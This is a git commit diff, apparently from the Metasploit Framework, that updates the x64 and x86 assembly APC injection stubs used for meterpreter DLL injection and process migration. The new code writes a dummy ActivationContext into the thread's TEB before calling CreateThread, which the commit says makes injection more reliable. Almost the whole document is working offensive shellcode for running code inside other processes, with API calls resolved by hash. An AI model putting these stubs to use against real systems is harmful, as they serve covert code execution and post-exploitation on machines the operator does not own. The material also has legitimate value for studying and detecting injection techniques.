Commit the updated APC injection stubs. fixes a nasty issue in some edge cases whereby when using APC injection for a process in another session then the current host process the injected APC can cause an access violation in kernel32 during a call the kernel32!CreateThread caused by the APC's host thread not having an initialized Activation Context inside its TEB. We now test for this and create a dummy ActivationContext entry to appease the kernel. This will both improve DLL injection reliability as well as meterpreter migration reliability.

git-svn-id: file:///home/svn/framework3/trunk@8786 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Stephen Fewer 2010-03-11 17:00:19 +00:00
parent 09c1fdd13d
commit c55e9af9ae
2 changed files with 68 additions and 47 deletions

View File

@ -2,13 +2,13 @@
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Architecture: x64
; Version: 1.0 (Jan 2010)
; Size: 256 bytes
; Version: 2.0 (March 2010)
; Size: 323 bytes
; Build: >build.py apc
;-----------------------------------------------------------------------------;
; A small stub to be used for thread injection where we gain execution via an injected APC. See the
; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_dispatch.c" for more details
; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_inject.c" for more details
;typedef struct _APCCONTEXT
;{
@ -28,24 +28,33 @@
[BITS 64]
[ORG 0]
cld ; Clear the direction flag.
cmp byte [rcx+16], 0 ; Has this context allready been injected? 'if( ctx->bExecuted == FALSE )'
jne cleanup ; If so just leave this APC
mov byte [rcx+16], 1 ; Otherwise mark the context as executed and proceed
sub rsp, 120 ; Alloc some space on stack
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
cld ; Clear the direction flag.
cmp byte [rcx+16], 0 ; Has this context allready been injected? 'if( ctx->bExecuted == FALSE )'
jne cleanup ; If so just leave this APC
mov byte [rcx+16], 1 ; Otherwise mark the context as executed and proceed
sub rsp, 120 ; Alloc some space on stack
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm" ;
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
mov r8, [rcx] ; r8 = ctx->lpStartAddress
mov r9, [rcx+8] ; r9 = ctx->lpParameter
xor rcx, rcx ; Clear ECX, lpThreadAttributes
xor rdx, rdx ; Clear EDX, dwStackSize
push rcx ; lpThreadId
push rcx ; dwCreationFlags
mov r10d, 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
call rbp ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL );
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
xor rdx, rdx ; zero RDX
mov rax, [gs:rdx+48] ; Get the current TEB
cmp qword [rax+712], rdx ; Is the TEB ActivationContextStackPointer pointer NULL?
jne continue ; If there already is an ActivationContext structure setup, just continue
lea rdx, [rbp+context-delta] ; calculate the address of our dummy ActivationContext
mov qword [rax+712], rdx ; and set the address of our dummy ActivationContext in the current TEB
continue:
mov r8, [rcx] ; r8 = ctx->lpStartAddress
mov r9, [rcx+8] ; r9 = ctx->lpParameter
xor rcx, rcx ; Clear ECX, lpThreadAttributes
xor rdx, rdx ; Clear EDX, dwStackSize
push rcx ; lpThreadId
push rcx ; dwCreationFlags
mov r10d, 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
call rbp ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL );
add rsp, (120 + 32 + (8*2)) ; fix up stack (120 bytes we alloced, 32 bytes for the single call to api_call, and 2*8 bytes for the two params we pushed).
cleanup:
ret ; Return and finish our APC routine.
ret ; Return and finish our APC routine.
context:
TIMES 0x24 db 0 ; An empty ntdll!_ACTIVATION_CONTEXT_STACK structure

View File

@ -2,13 +2,13 @@
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Architecture: x86 (but not wow64)
; Version: 1.0 (Jan 2010)
; Size: 183 bytes
; Version: 2.0 (March 2010)
; Size: 244 bytes
; Build: >build.py apc
;-----------------------------------------------------------------------------;
; A small stub to be used for thread injection where we gain execution via an injected APC. See the
; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_dispatch.c" for more details
; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_inject.c" for more details
;typedef struct _APCCONTEXT
;{
@ -28,28 +28,40 @@
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
mov eax, [esp+4] ; EAX is a pointer to our apc stub context
push ebp ; Prologue, save EBP...
mov ebp, esp ; And create a new stack frame
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
cld ; Clear the direction flag.
mov esi, [esp+4] ; ESI is a pointer to our apc stub context
push ebp ; Prologue, save EBP...
mov ebp, esp ; And create a new stack frame
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm" ;
start: ;
pop ebx ; Pop off the address of 'api_call' for calling later.
cmp byte [eax+16], 0 ; Has this context allready been injected
jne cleanup ; If so just leave this APC
mov byte [eax+16], 1 ; Otherwise mark the context as executed and proceed
xor ecx, ecx ; Clear ECX
push ecx ; lpThreadId
push ecx ; dwCreationFlags
push dword [eax+8] ; ctx->lpParameter
push dword [eax] ; ctx->lpStartAddress
push ecx ; dwStackSize
push ecx ; lpThreadAttributes
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
call ebx ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL );
start: ;
pop ebx ; Pop off the address of 'api_call' for calling later.
cmp byte [esi+16], 0 ; Has this context allready been injected
jne cleanup ; If so just leave this APC
mov byte [esi+16], 1 ; Otherwise mark the context as executed and proceed
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebx ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl short continue ; then continue to CreateThread... otherwise we must create a dummy thread ActivationContext
xor ecx, ecx ; zero ECX
mov eax, [fs:ecx+24] ; Get the current TEB
cmp dword [eax+424], ecx ; Is the TEB ActivationContextStackPointer pointer NULL?
jne continue ; If there already is an ActivationContext structure setup, just continue
lea edx, [ebx+context-delta] ; calculate the address of our dummy ActivationContext
mov dword [eax+424], edx ; and set the address of our dummy ActivationContext in the current TEB
continue:
xor ecx, ecx ; Clear ECX
push ecx ; lpThreadId
push ecx ; dwCreationFlags
push dword [esi+8] ; ctx->lpParameter
push dword [esi] ; ctx->lpStartAddress
push ecx ; dwStackSize
push ecx ; lpThreadAttributes
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
call ebx ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL );
cleanup:
leave ; epilogue
retn 12 ; Return (cleaning up stack params) and finish our APC routine.
leave ; epilogue
retn 12 ; Return (cleaning up stack params) and finish our APC routine.
context:
TIMES 0x18 db 0 ; An empty ntdll!_ACTIVATION_CONTEXT_STACK structure